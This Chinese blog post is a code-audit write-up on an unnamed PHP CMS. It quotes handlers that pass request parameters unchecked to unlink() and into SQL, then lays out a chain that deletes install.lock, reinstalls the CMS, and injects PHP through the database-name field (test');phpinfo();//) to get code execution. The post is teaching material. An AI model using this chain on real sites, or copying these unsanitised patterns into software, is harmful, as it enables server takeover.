CMS审计:任意文件删除->RCE

admin 2021年12月16日23:46:16评论133 views字数 2564阅读8分32秒阅读模式

目录

  • 前言

  • 漏洞挖掘

    • 思路分享

    • 全局搜索,定位关键字

    • 判断前台洞 or 后台洞

  • 漏洞利用

    • 了解路由,构造payload

    • 验证漏洞,尝试getshell

  • 小结



前言

最近投了一些白盒审计的岗位,于是想着多看看代码,训练一下审计能力,本篇主要分享思路,至于关于系统的详细信息,文章就不大肆标注了。


下面是前段时间总结的关于“重装漏洞 -> RCE”的审计思路

  • 安装完成后,没有删除install相关文件,也没有对安装状态进行校验

  • 判断存在lock文件后,但是并没有代码执行流程并没有结束

  • 存在lock文件,且代码执行流程退出,此时可以打组合拳(任意文件删除)

文章的漏洞属于第三种。


漏洞挖掘

定向漏洞挖掘-任意文件删除

  • 全局搜索 unlink(


在该cms中一共存在5处疑似存在漏洞的代码段,特征为

  • unlink(

  • 参数可控


1. /app/controller/picture.class.php

public function deletePic() {  $path = ROOT_PATH.$_GET['pic'];  unlink($path);  $flash = M("flash");  $row = $flash->query("delete from ".TABLEPRE."attachment where filepath='".$_GET['pic']."'");  echo '删除成功';}


2. /plugins/flash/Main.class.php

  public function flashDelPic() {    $flash = M("flash");    echo($flash);    $flash->query("delete from tc_flash where photo='".$_GET['delPath']."'");      $path =$_GET['delPath'];      $delPath = $path;      if (file_exists($delPath)) {        unlink($delPath);        exit(1);      }      exit(0);    }


3. appcontrollerkindeditor.class.php

  public function delete() {    $path = ROOT_PATH.$_GET['pic'];    unlink($path);    $flash = M("flash");    $row = $flash->query("delete from tc_flash where photo='".$_GET['pic']."'");    echo '删除成功';  }


4. /app/admin/picture.class.php

<?phpdefined('IN_ADMIN') or exit('Access Denied');defined('xxxx_CMS') or exit('Access Denied');  
public function deletePic() { $path = ROOT_PATH.$_GET['pic']; unlink($path); $flash = M("flash"); $row = $flash->query("delete from ".TABLEPRE."attachment where filepath='".$_GET['pic']."'"); echo '删除成功';}


5. /app/admin/download.class.php

 <?phpdefined('IN_ADMIN') or exit('Access Denied');defined('xxxx_CMS') or exit('Access Denied'); ... public function deletePic() {  $path = ROOT_PATH.$_GET['pic'];  unlink($path);  $flash = M("attachment");  $row = $flash->query("delete from ".TABLEPRE."attachment where filepath='".$_GET['pic']."'");  echo '删除成功';}


对于现役安服仔的我来说,肯定还是比较热衷于前台洞的,但是有些情况下,拿到后台权限也可能最多刷个弱口令,这时候后台洞带来的效果也是不容小觑的。


所以上面存在漏洞的代码段也主要分为

  • 前台

  • 文件入口处没有校验权限

  • 后台

    文件入口处判断了是否为admin


漏洞利用

当从代码层面找到漏洞后,怎样去触发漏洞也很重要的,我刚开始学代码审计的时候,就是很确定这儿有洞,但是就是不知道怎么触发它,现在总结其原因很简单:还是审的量不够,没到质变引起量变的那一步,就像上次团队的师傅给我的建议一样,"你看得太少了,技术栈太窄"。


面对mvc框架的系统,看看它的开发手册,了解到它的路由是怎样实现的对构造payload就差不多了。

该系统的路由

# 控制器_方法,get或post传参index.php?ac=controller_method&param1=&param2=

构造payload

# 这里主要测试前台洞index.php?ac=picture_deletePic&pic=/x.txt


CMS审计: 任意文件删除->RCE


俗话说“不想当将军的士兵不是好士兵”,那么“不能getshell的洞也不是好洞”👀

关于漏洞任意文件删除拿shell的姿势, 目前我了解到比较成熟的有3种

  • 删除install.lock, 重装getshell

  • 删除my.php这类的数据库配置文件,重装getshell

  • 删除权限校验文件,组合需权限的文件上传漏洞getshell


这里属于第一种,需要关注两个文件

  • /app/data/install.lock

    • 决定是否能重装

  • /app/data/mysql.php

    • 决定是否能getshell


首先看一下数据库配置文件

CMS审计: 任意文件删除->RCE

发现数据库名“DBNAME”应该就是我们需要找的软柿子了

闭合情况

define('DBNAME', 'test');phpinfo();//;

来到输入数据库配置信息的安装步骤,填入payload

test');phpinfo();//


CMS审计: 任意文件删除->RCE

触发插入的payload(访问会加载mysql.php的文件即可)

CMS审计: 任意文件删除->RCE


小结

该系统还存在一些其他的洞,还在继续看,尝试构造出bug —> rce的完整链路。

本文始发于微信公众号(don9sec):CMS审计: 任意文件删除->RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月16日23:46:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CMS审计:任意文件删除->RCEhttp://cn-sec.com/archives/447246.html

发表评论

匿名网友 填写信息